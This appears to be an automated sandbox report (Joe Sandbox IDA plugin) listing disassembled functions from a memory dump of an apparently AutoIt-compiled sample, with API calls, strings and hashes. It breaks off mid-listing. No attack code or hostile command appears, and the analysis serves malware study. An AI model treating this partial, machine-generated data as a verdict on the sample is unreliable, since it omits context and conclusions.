String ID:
API String ID: 2364484715-0
Opcode ID: 9ebf4816618414220135fbe32a2326a74503265fce9eec98fe335a0cf1ce259f
Instruction ID: e84a9f19d31792990721ce83ecc4fcbe0f9407295b7abd54cb43958ec71afeeb
Opcode Fuzzy Hash: 9ebf4816618414220135fbe32a2326a74503265fce9eec98fe335a0cf1ce259f
Instruction Fuzzy Hash: B8E09231210209DFCB11AF58EC49EAA37A6FB08351F018056FA055B6B1C771A961EF55

Function 001DF37C Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 001DF3A1

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 133ac36d8026a42f7f24c1eda202ab6a7da0899d3ee8c1fad444afc0a72a55e4
Instruction ID: a3433a6422b8a678fecf65ee3b8afaab72c08c54d3272f2dacaf721b168a5e50
Opcode Fuzzy Hash: 133ac36d8026a42f7f24c1eda202ab6a7da0899d3ee8c1fad444afc0a72a55e4
Instruction Fuzzy Hash: 9DE0E27420420CEFDB01DF88E848E963BA5FB1A350F000054FD048B261C771A830EB61

Function 001DF3AB Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 001DF3D0

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 6afcc53c44a7bb3669096ce04480b8a7237d94af7dd196f28af565ed3eb621fc
Instruction ID: 48d5ceb640a7196582b0deaa9a6e20ecc7c8821c3fddace6ea1b14ff3e9bf89b
Opcode Fuzzy Hash: 6afcc53c44a7bb3669096ce04480b8a7237d94af7dd196f28af565ed3eb621fc
Instruction Fuzzy Hash: 5AE0E27420020CEFDB01DF88E848E963BA5FB1A350F000054FD048B262C772A870EBA1

Function 0018B845 Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

Part of subcall function 0018B86E: DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0018B85B), ref: 0018B926
Part of subcall function 0018B86E: KillTimer.USER32(00000000,?,00000000,?,?,?,?,0018B85B,00000000,?,?,0018AF1E,?,?), ref: 0018B9BD

NtdllDialogWndProc_W.NTDLL(?,00000002,00000000,00000000,00000000,?,?,0018AF1E,?,?), ref: 0018B864

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$DestroyDialogKillLongNtdllProc_Timer
String ID:
API String ID: 2797419724-0
Opcode ID: 9090546a2ae3822ead9be172c99ea96b564425aa2cdaf4dd210d0b88d25c443f
Instruction ID: 283077664272175f480b25f3123b705c85b817763af4ee56a69e58cac9d89831
Opcode Fuzzy Hash: 9090546a2ae3822ead9be172c99ea96b564425aa2cdaf4dd210d0b88d25c443f
Instruction Fuzzy Hash: C3D012B114430C77EF103B61EC0BF5D3E1EAB11750F408431F705691E18B716561AA59

Function 00198E19 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00198E1F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4eda8dac582eb5f0f436a6cb6bb44d902984a6ac7808524b25838cab0e2cecb3
Instruction ID: a818c556d7aad19f05a8e645a3635653e740742dd84879f27234974978e20868
Opcode Fuzzy Hash: 4eda8dac582eb5f0f436a6cb6bb44d902984a6ac7808524b25838cab0e2cecb3
Instruction Fuzzy Hash: E4A0127000450CA78B001B51FC044687F5DE7041507004010F50C00421873354508581

Function 0019A937 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00196AE9,002267D8,00000014), ref: 0019A937

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f2d70c7929174ac120a8d6dc8720508752b093e45de173940520503487a19c4f
Instruction ID: 57e14c0aa69bc0a7e344ffa376abf222424999c8e22e3272c0c9db67aa0ee105
Opcode Fuzzy Hash: f2d70c7929174ac120a8d6dc8720508752b093e45de173940520503487a19c4f
Instruction Fuzzy Hash: C0B012F03031028BD7084B38BCA823E3AD55749101301407D7003C3D60DB30C450DF00

Function 00190EC4 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction ID: db7432651e602aee90e9d85f4ef826b45951f4671d71587afb76d67ec0867de0
Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction Fuzzy Hash: 4EC1A7722051934EDF2E8639C43443EFBA15EA27B131A076DE8B3CB5C4EF24DAA4D650

Function 001912F9 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction ID: 1abaaa4ea48e9f1c13893b92ce00085428680c6a162517d60fdc154676013157
Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction Fuzzy Hash: 5CC196722051934EDF2E8639C47443EFAA15AA27B131B076DD8B3CF5D4EF24CAA4D660

Function 00190A8F Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: b84bf6da1adbe6bfde72bb6a7c96be8b64378989b735e5620098345084f10c75
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 46C1B3722052934EDF2F8639C43443EFBA15AA67B531A076DD8B3CB4C4EF24DA64D660

Function 00190677 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 82e51fbed9e2f49243551a5e4d4752c3e136ec2795ab4539fc37f64a348d23a8
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 01C1D2722051934EDF2F863AC43443EBBA15EA67B531A076DD8B3CB4C1EF24DA64D660

Function 001CA750 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 001CA7A5
DeleteObject.GDI32(00000000), ref: 001CA7B7
DestroyWindow.USER32 ref: 001CA7C5
GetDesktopWindow.USER32 ref: 001CA7DF
GetWindowRect.USER32(00000000), ref: 001CA7E6
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 001CA927
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 001CA937
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001CA97F
GetClientRect.USER32(00000000,?), ref: 001CA98B
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 001CA9C5
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001CA9E7
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001CA9FA
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001CAA05
GlobalLock.KERNEL32(00000000), ref: 001CAA0E
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001CAA1D
GlobalUnlock.KERNEL32(00000000), ref: 001CAA26
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001CAA2D
GlobalFree.KERNEL32(00000000), ref: 001CAA38
CreateStreamOnHGlobal.COMBASE(00000000,00000001,88C00000), ref: 001CAA4A
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,001FD9BC,00000000), ref: 001CAA60
GlobalFree.KERNEL32(00000000), ref: 001CAA70
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 001CAA96
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 001CAAB5
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001CAAD7
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001CACC4

Strings

AutoIt v3, xrefs: 001CA977
static, xrefs: 001CA9BF, 001CAB16
, xrefs: 001CAC4A
DISPLAY, xrefs: 001CAB27

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 819ef504da44bf276d6f602d47c007c391674d40b8df8c3140080e3cd61ce2ab
Instruction ID: 98308858b6f02410a665df6c8da822644ed690dd12008225b78615084f222712
Opcode Fuzzy Hash: 819ef504da44bf276d6f602d47c007c391674d40b8df8c3140080e3cd61ce2ab
Instruction Fuzzy Hash: F6026C71900219AFDB15DFA4DD89EBE7BB9EF48314F108159F905AB2A0DB30ED41CBA1

Function 001DD095 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 001DD0EB
GetSysColorBrush.USER32(0000000F), ref: 001DD11C
GetSysColor.USER32(0000000F), ref: 001DD128
SetBkColor.GDI32(?,000000FF), ref: 001DD142
SelectObject.GDI32(?,00000000), ref: 001DD151
InflateRect.USER32(?,000000FF,000000FF), ref: 001DD17C
GetSysColor.USER32(00000010), ref: 001DD184
CreateSolidBrush.GDI32(00000000), ref: 001DD18B
FrameRect.USER32(?,?,00000000), ref: 001DD19A
DeleteObject.GDI32(00000000), ref: 001DD1A1
InflateRect.USER32(?,000000FE,000000FE), ref: 001DD1EC
FillRect.USER32(?,?,00000000), ref: 001DD21E
GetWindowLongW.USER32(?,000000F0), ref: 001DD249

Part of subcall function 001DD385: GetSysColor.USER32(00000012), ref: 001DD3BE
Part of subcall function 001DD385: SetTextColor.GDI32(?,?), ref: 001DD3C2
Part of subcall function 001DD385: GetSysColorBrush.USER32(0000000F), ref: 001DD3D8
Part of subcall function 001DD385: GetSysColor.USER32(0000000F), ref: 001DD3E3
Part of subcall function 001DD385: GetSysColor.USER32(00000011), ref: 001DD400
Part of subcall function 001DD385: CreatePen.GDI32(00000000,00000001,00743C00), ref: 001DD40E
Part of subcall function 001DD385: SelectObject.GDI32(?,00000000), ref: 001DD41F
Part of subcall function 001DD385: SetBkColor.GDI32(?,00000000), ref: 001DD428
Part of subcall function 001DD385: SelectObject.GDI32(?,?), ref: 001DD435
Part of subcall function 001DD385: InflateRect.USER32(?,000000FF,000000FF), ref: 001DD454
Part of subcall function 001DD385: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 001DD46B
Part of subcall function 001DD385: GetWindowLongW.USER32(00000000,000000F0), ref: 001DD480
Part of subcall function 001DD385: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 001DD4A8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: 3d6145ab79bf2327805dd2fd1e4129d6e70993a8598204e9988b11ac4556d4a4
Instruction ID: a7c5756b9ab396a298b4c52538dec1ef459fa57999c96f0a560965dc6f60f8b3
Opcode Fuzzy Hash: 3d6145ab79bf2327805dd2fd1e4129d6e70993a8598204e9988b11ac4556d4a4
Instruction Fuzzy Hash: 05915B72408301AFDB109F64EC48E7BBBBAFB89325F100A19F966965A0D771D984CB52

Function 001CA3F7 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 001CA42A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 001CA4E9
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 001CA527
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 001CA539
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 001CA57F
GetClientRect.USER32(00000000,?), ref: 001CA58B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 001CA5CF
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 001CA5DE
GetStockObject.GDI32(00000011), ref: 001CA5EE
SelectObject.GDI32(00000000,00000000), ref: 001CA5F2
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 001CA602
GetDeviceCaps.GDI32(00000000,0000005A), ref: 001CA60B
DeleteDC.GDI32(00000000), ref: 001CA614
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 001CA642
SendMessageW.USER32(00000030,00000000,00000001), ref: 001CA659
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 001CA694
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 001CA6A8
SendMessageW.USER32(00000404,00000001,00000000), ref: 001CA6B9
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 001CA6E9
GetStockObject.GDI32(00000011), ref: 001CA6F4
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 001CA6FF
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 001CA709

Strings

AutoIt v3, xrefs: 001CA577
static, xrefs: 001CA5C9, 001CA6E3
msctls_progress32, xrefs: 001CA68A
DISPLAY, xrefs: 001CA5D4

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: a2dac53df530bf43fe43137ab74d00ee50fd056dea57c6e697df5c6aad76e3d2
Instruction ID: 05f77f8dd06a998d6ffdff12c56de7a0a00ded74a77e700e63371150dabf9766
Opcode Fuzzy Hash: a2dac53df530bf43fe43137ab74d00ee50fd056dea57c6e697df5c6aad76e3d2
Instruction Fuzzy Hash: 40A14071A40219BFEB14DBA4DD49FBEBBB9EB04714F008115FA15A71E0D7B0AD50CB64

Function 001BE44C Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 001BE45E
GetDriveTypeW.KERNEL32(?,0020DC88,?,\\.\,0020DBF0), ref: 001BE54B
SetErrorMode.KERNEL32(00000000,0020DC88,?,\\.\,0020DBF0), ref: 001BE6B1

Strings

iSCSI, xrefs: 001BE653
SAS, xrefs: 001BE65A
PhysicalDrive, xrefs: 001BE4EF
Fibre, xrefs: 001BE63E
Fixed, xrefs: 001BE593
ATAPI, xrefs: 001BE622
1394, xrefs: 001BE630
CDROM, xrefs: 001BE57F
Removable, xrefs: 001BE59D
SATA, xrefs: 001BE661
SSD, xrefs: 001BE5D8
SSA, xrefs: 001BE637
Virtual, xrefs: 001BE676
FileBackedVirtual, xrefs: 001BE67D
RAID, xrefs: 001BE64C
RAMDisk, xrefs: 001BE575
MMC, xrefs: 001BE66F
Unknown, xrefs: 001BE56B, 001BE614
ATA, xrefs: 001BE629
Network, xrefs: 001BE589
\\.\, xrefs: 001BE4B3
SCSI, xrefs: 001BE61B
USB, xrefs: 001BE645

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: f7542fa53c48b3ab405d24b93e43b92fc15e23efe854496d8a691a596046da63
Instruction ID: d09163f42ce44964fa49bf721af793568d4fb63ee64c4b37ca2ba6853654fedd
Opcode Fuzzy Hash: f7542fa53c48b3ab405d24b93e43b92fc15e23efe854496d8a691a596046da63
Instruction Fuzzy Hash: F8512570258301BBC314EF54D891AE9B7E1BBA6704F62891BF406EB2A1DB70DE51DB42

Function 0017C714 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 245COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0017C741
__wcsnicmp.LIBCMT ref: 0017C759
__wcsnicmp.LIBCMT ref: 0017C771
__wcsnicmp.LIBCMT ref: 0017C789
__wcsnicmp.LIBCMT ref: 0017C7A1
__wcsnicmp.LIBCMT ref: 0017C7B5
__wcsnicmp.LIBCMT ref: 0017C7C9
__wcsnicmp.LIBCMT ref: 0017C7E1
__wcsnicmp.LIBCMT ref: 0017C8B2
